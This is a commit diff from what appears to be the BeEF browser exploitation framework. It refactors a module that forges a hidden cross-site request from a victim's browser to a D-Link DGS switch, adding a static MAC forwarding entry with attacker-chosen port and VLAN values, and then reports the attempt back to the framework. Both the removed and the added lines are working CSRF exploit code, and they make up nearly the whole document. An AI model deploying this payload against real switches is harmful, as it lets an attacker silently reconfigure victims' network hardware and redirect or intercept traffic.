Adjusting to use XsrfForm
This commit is contained in:
@@ -11,34 +11,11 @@ beef.execute(function() {
|
||||
var mac = '<%= @mac %>';
|
||||
var vlanid = '<%= @vlanid %>';
|
||||
|
||||
var dlink_dgs_iframe = beef.dom.createInvisibleIframe();
|
||||
|
||||
var form = document.createElement('form');
|
||||
form.setAttribute('action', base + "/cgi/mac_entry_add.cgi");
|
||||
form.setAttribute('method', 'POST');
|
||||
|
||||
var input = null;
|
||||
|
||||
input = document.createElement('input');
|
||||
input.setAttribute('type', 'hidden');
|
||||
input.setAttribute('name', 'fwdport');
|
||||
input.setAttribute('value', port);
|
||||
form.appendChild(input);
|
||||
|
||||
input = document.createElement('input');
|
||||
input.setAttribute('type', 'hidden');
|
||||
input.setAttribute('name', 'vid');
|
||||
input.setAttribute('value', vlanid);
|
||||
form.appendChild(input);
|
||||
|
||||
input = document.createElement('input');
|
||||
input.setAttribute('type', 'hidden');
|
||||
input.setAttribute('name', 'macaddr');
|
||||
input.setAttribute('value', mac);
|
||||
form.appendChild(input);
|
||||
|
||||
dlink_dgs_iframe.contentWindow.document.body.appendChild(form);
|
||||
form.submit();
|
||||
var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/mac_entry_add.cgi', 'POST', 'application/x-www-form-urlencoded', [
|
||||
{ type: 'hidden', name: 'fwdport', value: port },
|
||||
{ type: 'hidden', name: 'vid', value: vlanid },
|
||||
{ type: 'hidden', name: 'macaddr', value: mac }
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
|
||||
Reference in New Issue
Block a user